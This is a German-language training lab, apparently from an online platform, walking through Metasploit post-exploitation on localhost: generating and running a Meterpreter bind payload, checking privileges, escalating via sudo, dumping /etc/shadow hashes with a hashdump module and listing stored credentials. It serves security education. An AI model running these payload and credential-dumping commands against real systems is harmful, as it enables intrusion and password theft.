Einführung
In diesem Lab führen Sie kritische Post-Exploitation-Aufgaben mit dem Metasploit Framework durch. Post-Exploitation findet statt, nachdem ein Angreifer erfolgreich ein Zielsystem kompromittiert hat. Das Ziel in dieser Phase ist es, Informationen zu sammeln, Berechtigungen zu eskalieren und Anmeldedaten (wie Passwort-Hashes) zu extrahieren, um den Zugriff aufrechtzuerhalten oder sich lateral zu anderen Systemen im Netzwerk zu bewegen.
Der Zugriff auf Anmeldedaten ist entscheidend, da ein kompromittierter Host oft nur der Anfang ist. Passwortmaterial und Tokens sind die Brücke von einer lokalen Kompromittierung zu einer breiteren Netzwerkreichweite.
Sie werden Meterpreter verwenden, ein fortschrittliches, dynamisch erweiterbares Payload, das eine leistungsstarke Befehlszeile bietet. Durch praktische Übungen lernen Sie, wie Sie Ihre aktuellen Benutzerberechtigungen überprüfen, eine Privilegieneskalation simulieren, lokale Passwort-Hashes extrahieren und diese Anmeldedaten für die zukünftige Verwendung in der Metasploit-Datenbank speichern.
Diese Reihenfolge ist beabsichtigt: Die Berechtigungsstufe bestimmt, welche Geheimnisse Sie erreichen können, und die erreichten Geheimnisse bestimmen oft, wohin Sie sich als Nächstes bewegen können.
Aktuelle Berechtigungen überprüfen (getuid)
In diesem Schritt richten Sie Ihre Umgebung ein, indem Sie Metasploit installieren, ein Meterpreter-Payload generieren und Ihre erste Sitzung aufbauen. Sobald die Verbindung steht, verwenden Sie den Befehl getuid, um das Benutzerkonto zu identifizieren, unter dem Ihr Payload ausgeführt wird.
Ihre aktuelle Identität zu kennen, ist grundlegend, aber essenziell. Viele Post-Exploitation-Aktionen hängen in ihrem Erfolg oder Misserfolg vollständig davon ab, in welchem Benutzerkontext die Sitzung läuft.
Installieren Sie zunächst das Metasploit Framework mithilfe des für Sie vorbereiteten Installationsskripts. Dieser Prozess lädt die notwendigen Komponenten herunter und installiert sie.
sudo /tmp/msfinstall
Metasploit verwendet eine PostgreSQL-Datenbank, um Ihre Ergebnisse, wie z. B. extrahierte Anmeldedaten, nachzuverfolgen. In dieser Lab-Umgebung kann msfdb init die lokale Datenbank selbstständig vorbereiten, sodass Sie sie direkt initialisieren können:
msfdb init
Falls Sie eine Meldung wie postgresql: unrecognized service sehen, können Sie diese in dieser Umgebung ignorieren, solange msfdb init erfolgreich abgeschlossen wird.
Generieren Sie als Nächstes ein Linux-Meterpreter-Payload. Ein Payload ist der Schadcode, der auf dem Zielsystem ausgeführt wird. Wir erstellen ein bind_tcp-Payload, das einen Port auf dem Zielsystem öffnet und darauf wartet, dass wir uns damit verbinden.
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
Wenn Sie Metasploit zum ersten Mal in der aktuellen Lab-Umgebung verwenden, sehen Sie möglicherweise eine anfängliche Einrichtungsaufforderung, bevor msfvenom ausgeführt wird. Wenn Sie gefragt werden, ob Sie eine neue Datenbank einrichten möchten, antworten Sie mit yes und warten Sie, bis die Einrichtung abgeschlossen ist. Danach wird msfvenom fortfahren und die Payload-Datei speichern.
Machen Sie das generierte Payload ausführbar:
chmod +x ~/project/payload.elf
Führen Sie nun das Payload im Hintergrund aus. Dies simuliert ein Opfer, das die schädliche Datei auf seinem System ausführt.
./payload.elf &
Da das Payload nun läuft und auf Port 4444 lauscht, verwenden Sie msfconsole, um eine Verbindung herzustellen. Der folgende Befehl konfiguriert den Handler automatisch, verbindet sich mit Ihrem Payload und bringt Sie direkt in eine Meterpreter-Sitzung.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Sobald die Verbindung hergestellt ist, sehen Sie die Eingabeaufforderung meterpreter >. Um Ihre aktuellen Berechtigungen zu überprüfen, geben Sie den folgenden Befehl ein:
getuid
Sie sollten eine Ausgabe sehen, die der folgenden ähnelt und anzeigt, dass Sie als Standardbenutzer labex arbeiten:
Server username: uid=1000, gid=1000, euid=1000, egid=1000
Berechtigungen eskalieren (getsystem)
In einem realen Szenario reichen Standard-Benutzerberechtigungen oft nicht für kritische Aufgaben wie das Auslesen von Passwort-Hashes aus. Angreifer müssen ihre Berechtigungen auf die höchste Ebene eskalieren.
In Windows-Umgebungen bietet Meterpreter den Befehl getsystem, der automatisch verschiedene Techniken versucht, um die Berechtigungen auf NT AUTHORITY\SYSTEM zu heben. Auf Linux-Systemen beinhaltet die Privilegieneskalation jedoch typischerweise die Ausnutzung lokaler Schwachstellen oder Fehlkonfigurationen (wie schwache sudo-Berechtigungen), um der root-Benutzer zu werden.
Da wir in einer Linux-Umgebung üben, simulieren wir eine erfolgreiche Privilegieneskalation, indem wir unser Payload mit sudo ausführen.
Beenden Sie zunächst Ihre aktuelle Meterpreter-Sitzung als Standardbenutzer, indem Sie Folgendes eingeben:
exit
Dies schließt die Sitzung und bringt Sie zurück zum Standard-Linux-Terminal. Warten Sie, bis Sie wieder an der normalen Shell-Eingabeaufforderung sind, die etwa so aussieht: labex:project/ $. Erst nachdem Sie zu dieser Eingabeaufforderung zurückgekehrt sind, sollten Sie den nächsten Befehl ausführen.
Führen Sie nun das Payload erneut aus, verwenden Sie diesmal jedoch sudo, um es als root-Benutzer zu starten. Das Symbol & führt es im Hintergrund aus.
sudo ./payload.elf &
Verbinden Sie sich mit dem neuen, hochprivilegierten Payload über msfconsole, genau wie Sie es zuvor getan haben:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Sobald die Eingabeaufforderung meterpreter > erscheint, überprüfen Sie, ob Sie Ihre Berechtigungen erfolgreich eskaliert haben, indem Sie Ihre Benutzer-ID erneut prüfen:
getuid
Die Ausgabe sollte nun bestätigen, dass Sie Zugriff auf Systemebene (root) haben. In dieser Umgebung ist die häufigste Ausgabe:
Server username: root
Einige Meterpreter-Builds zeigen möglicherweise eine detailliertere numerische Form wie uid=0, gid=0, euid=0, egid=0. Beide Formen zeigen an, dass die Sitzung mit Root-Berechtigungen läuft.
Hashdump ausführen
Nachdem Sie nun Zugriff auf Systemebene haben, können Sie fortgeschrittene Post-Exploitation-Aufgaben durchführen. Eine der kritischsten Aufgaben ist das Extrahieren von Passwort-Hashes.
Hier übersetzt sich die Privilegieneskalation in operative Auswirkungen. Höhere Berechtigungen sind nützlich, da sie den Zugriff auf geschützte Anmeldedatenspeicher und sensible Systemzustände freischalten.
Unter Windows verwenden Angreifer den Befehl hashdump, um Hashes aus der SAM-Datenbank (Security Account Manager) zu extrahieren. Unter Linux werden Benutzer-Passwort-Hashes in der Datei /etc/shadow gespeichert, die nur vom root-Benutzer gelesen werden kann. Metasploit bietet ein spezielles Post-Exploitation-Modul, um die Extraktion und Analyse dieser Linux-Hashes zu automatisieren.
Führen Sie in Ihrer aktiven root-Meterpreter-Sitzung das Linux-Hashdump-Modul aus, indem Sie Folgendes eingeben:
run post/linux/gather/hashdump
Sie werden eine Ausgabe sehen, die anzeigt, dass Metasploit einen oder mehrere Konto-Hashes extrahiert und die "unshadowed" Ergebnisse im Loot-Verzeichnis gespeichert hat.
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
Diese extrahierten Hashes können später Offline-Passwort-Cracking-Angriffen mit Tools wie John the Ripper oder Hashcat unterzogen werden, um die Klartext-Passwörter wiederherzustellen und weitere laterale Bewegungen im Netzwerk zu ermöglichen.
Hashes in der Datenbank speichern (creds)
Ein großer Vorteil der Verwendung des Metasploit Frameworks ist die Fähigkeit, die während eines Engagements gesammelten Daten automatisch zu verwalten. Da Sie die Datenbank in Schritt 1 initialisiert haben, speichert Metasploit die Passwort-Hashes, die Sie gerade ausgelesen haben, automatisch.
Um die gespeicherten Anmeldedaten anzuzeigen, müssen Sie zur Haupt-Eingabeaufforderung msfconsole zurückkehren. Sie können dies tun, indem Sie Ihre aktuelle Meterpreter-Sitzung in den Hintergrund verschieben.
Geben Sie in der Meterpreter-Eingabeaufforderung Folgendes ein:
background
Sie werden zur Eingabeaufforderung msf6 > zurückgebracht. Verwenden Sie nun den Befehl creds, um alle Anmeldedaten anzuzeigen, die Metasploit gesammelt und in seiner Datenbank gespeichert hat:
creds
Die Ausgabe zeigt eine strukturierte Tabelle mit der Host-IP, dem Port, dem Benutzernamen und dem extrahierten Passwort-Hash.
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
Diese zentralisierte Verwaltung von Anmeldedaten ist bei groß angelegten Penetrationstests unglaublich nützlich, da sie es Ihnen ermöglicht, kompromittierte Konten einfach nachzuverfolgen und in anderen Metasploit-Modulen wiederzuverwenden.
Um msfconsole zu beenden und das Lab abzuschließen, geben Sie Folgendes ein:
exit
Falls Metasploit warnt, dass noch eine aktive Sitzung geöffnet ist, geben Sie exit -y ein, um die Konsole zu schließen und das Lab zu beenden.
Zusammenfassung
In diesem Lab haben Sie erfolgreich die kritischen Phasen der Post-Exploitation mit dem Metasploit Framework durchlaufen. Sie haben gelernt, wie man eine Meterpreter-Sitzung aufbaut, Ihre aktuellen Berechtigungen mit getuid überprüft und die Bedeutung der Privilegieneskalation (Simulation des Ziels von getsystem) verstanden. Darüber hinaus haben Sie die Post-Exploitation-Module von Metasploit genutzt, um einen hashdump auszuführen und lokale Passwort-Hashes vom Zielsystem zu extrahieren. Schließlich haben Sie untersucht, wie Metasploit diese Ergebnisse automatisch verwaltet, sodass Sie gespeicherte Anmeldedaten mit dem Befehl creds anzeigen können. Diese Fähigkeiten sind grundlegend für die Bewertung der Sicherheitslage von Systemen und das Verständnis dafür, wie sich Angreifer lateral innerhalb eines Netzwerks bewegen.



